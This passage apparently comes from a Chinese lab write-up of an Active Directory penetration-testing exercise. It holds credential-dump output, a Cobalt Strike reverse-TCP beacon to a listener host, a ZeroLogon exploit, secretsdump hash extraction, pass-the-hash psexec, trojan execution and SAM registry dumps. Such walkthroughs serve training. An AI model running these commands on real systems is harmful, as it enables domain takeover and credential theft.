	 * NTLM     : dbcf2fc907129da73618daaacfda88e8
	 * SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61
	tspkg :	
	wdigest :	
	 * Username : DATA$
	 * Domain   : VSMOON
	 * Password : (null)
	kerberos :	
	 * Username : data$
	 * Domain   : vsmoon.com
	 * Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'
	ssp :	
	credman :	

Authentication Id : 0 ; 44725 (00000000:0000aeb5)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : DATA$
	 * Domain   : VSMOON
	 * NTLM     : dbcf2fc907129da73618daaacfda88e8
	 * SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 266563 (00000000:00041143)
Session           : Interactive from 1
User Name         : Administrator
Domain            : DATA
Logon Server      : DATA
Logon Time        : 2022/10/16 19:12:59
SID               : S-1-5-21-2857872562-3615050297-2583995794-500
	msv :	
	 [00010000] CredentialKeys
	 * NTLM     : e0eaa205900fd89d4ebc9fe6176b4763
	 * SHA1     : 8d04efa26f0e2a54a3fbaf522076d8f217921751
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : DATA
	 * NTLM     : e0eaa205900fd89d4ebc9fe6176b4763
	 * SHA1     : 8d04efa26f0e2a54a3fbaf522076d8f217921751
	tspkg :	
	wdigest :	
	 * Username : Administrator
	 * Domain   : DATA
	 * Password : (null)
	kerberos :	
	 * Username : Administrator
	 * Domain   : DATA
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DATA$
Domain            : VSMOON
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : DATA$
	 * Domain   : VSMOON
	 * Password : (null)
	kerberos :	
	 * Username : data$
	 * Domain   : VSMOON.COM
	 * Password : (null)
	ssp :	
	credman :	

尝试横向移动

beacon> jump psexec ad re-tcp
[+] host called home, sent: 297622 bytes
[*] Tasked beacon to run windows/beacon_reverse_tcp (192.168.22.152:7878) on ad via Service Control Manager (\\ad\ADMIN$\8a7226d.exe)
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user	: Administrator
domain	: DATA
program	: C:\Windows\system32\cmd.exe /c echo a01a77dbaaf > \\.\pipe\34df4d
impers.	: no
NTLM	: e0eaa205900fd89d4ebc9fe6176b4763
  |  PID  1520
  |  TID  2420
  |  LSA Process is now R/W
  |  LUID 0 ; 746957 (00000000:000b65cd)
  \_ msv1_0   - data copy @ 0000000FE49B4B50 : OK !
  \_ kerberos - 

[+] host called home, sent: 294126 bytes
[-] could not upload file: 1326 - ERROR_LOGON_FAILURE
[-] Could not open service control manager on ad: 5

横向移动失败!

使用 CVE-2020-1472(ZeroLogon)拿下域控

使用cs开启代理扫描域控是否存在漏洞。

vsmoon 考核项目复现_第19张图片

这里还是使用 SocksCap64 来转发流量

vsmoon 考核项目复现_第20张图片

使用脚本置空域控密码

python cve-2020-1472-exploit.py -n ad -t 10.10.10.137

vsmoon 考核项目复现_第21张图片

secretsdump.exe 导出Hash

secretsdump.exe vsmoon.com/ad\$@10.10.10.137 -no-pass

vsmoon 考核项目复现_第22张图片

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9307d2f925e8c9025ff452c0f6681313:::
vsmoon.com\data:1104:aad3b435b51404eeaad3b435b51404ee:3e9b45207bedfe4877c5567673e19d01:::
AD$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DATA$:1105:aad3b435b51404eeaad3b435b51404ee:dbcf2fc907129da73618daaacfda88e8:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:134e1843ce6aa68b586b93f6b33b67adf26ae3dc9cab78be617eaf538bbbfcd0
krbtgt:aes128-cts-hmac-sha1-96:b1284e87a3414a984d5295801f10ddc1
krbtgt:des-cbc-md5:133723fdc7970d4a
vsmoon.com\data:aes256-cts-hmac-sha1-96:8dbb79f54eb6160e00f424386eed8650b19a76f7a870732cd21df63cd5139e99
vsmoon.com\data:aes128-cts-hmac-sha1-96:eb597a5e13b47685916dc3406e8028ce
vsmoon.com\data:des-cbc-md5:6e2f6e6da2e96bf4
AD$:aes256-cts-hmac-sha1-96:a7c23d712488d3c211bf50cc4cff225bc0781a86ba5d46d43fd18bedca68f2d6
AD$:aes128-cts-hmac-sha1-96:1d3cbd31aba22311b1f5fb61eeca2e0e
AD$:des-cbc-md5:26d9235845d07643
DATA$:aes256-cts-hmac-sha1-96:76cecb631622e5aec527f702439396a406904d0189f1bb129ecfc4b999d6ff8f
DATA$:aes128-cts-hmac-sha1-96:eccea1ea8bd3788b09f16e27f4bfabd1
DATA$:des-cbc-md5:7c70ba0bec0d54c1
[*] Cleaning up...

上线cs

psexec.exe 登录域控

psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d vsmoon/[email protected]

解密 DATA 的密码,建立 IPC$ 连接

net use \\10.10.10.136\c$ QWEasd12300 /user:administrator

映射 DATA 的 c 盘为 z 盘

net use z: \\10.10.10.136\c$

生成转发上线木马放在 DATA 的 c 盘中,并执行木马上线

z:\ad.exe

三台主机成功上线

vsmoon 考核项目复现_第23张图片

vsmoon 考核项目复现_第24张图片

恢复域控密码

注册表导出密码文件

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

解密密码文件

# python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

C:\Users\Anonymous\Desktop\vmmoon>python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0xb34b17556cade716de1f36076e43efdb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1680f1720be4c2eea070114d91b0b9cc
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf7620224a66b0b07cc3e0b45263c52aa643a0cfe
dpapi_userkey:0x4fd6a5521fd01d1bb047843ed141840ab2603180
[*] NL$KM
 0000   A3 1B 0C 50 A7 32 09 2A  43 02 DD DA 2B 89 B4 FD   ...P.2.*C...+...
 0010   AA 4C BD 16 91 F8 C7 D5  A1 F1 26 F3 6A CD A4 00   .L........&.j...
 0020   0E 06 AC FF 45 88 79 C6  EF B6 1C 87 9F A5 C0 C0   ....E.y.........
 0030   72 C0 D7 32 48 A1 A7 10  F0 40 50 9F A3 92 BE 34   r..2H....@P....4
NL$KM:a31b0c50a732092a4302ddda2b89b4fdaa4cbd1691f8c7d5a1f126f36acda4000e06acff458879c6efb61c879fa5c0c072c0d73248a1a710f040509fa392be34
[*] Cleaning up...

恢复密码

python reinstall_original_pw.py ad 10.10.10.137 14520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76

成功恢复密码

vsmoon 考核项目复现_第25张图片

总结

项目主要考核能力:

  • PHP代码审计
  • Python 脚本的编写
  • Java代码审计以及Java反序列化的利用
  • 内网漫游以及攻击域控

这次主要死在Java反序列化的利用,反序列化的点是找到了但是不知道利用那个反序列化链以及不会编写简单的 Java exp进行攻击。

一句话,安全与开发缺一不可!!!

你可能感兴趣的:(web安全,网络,安全)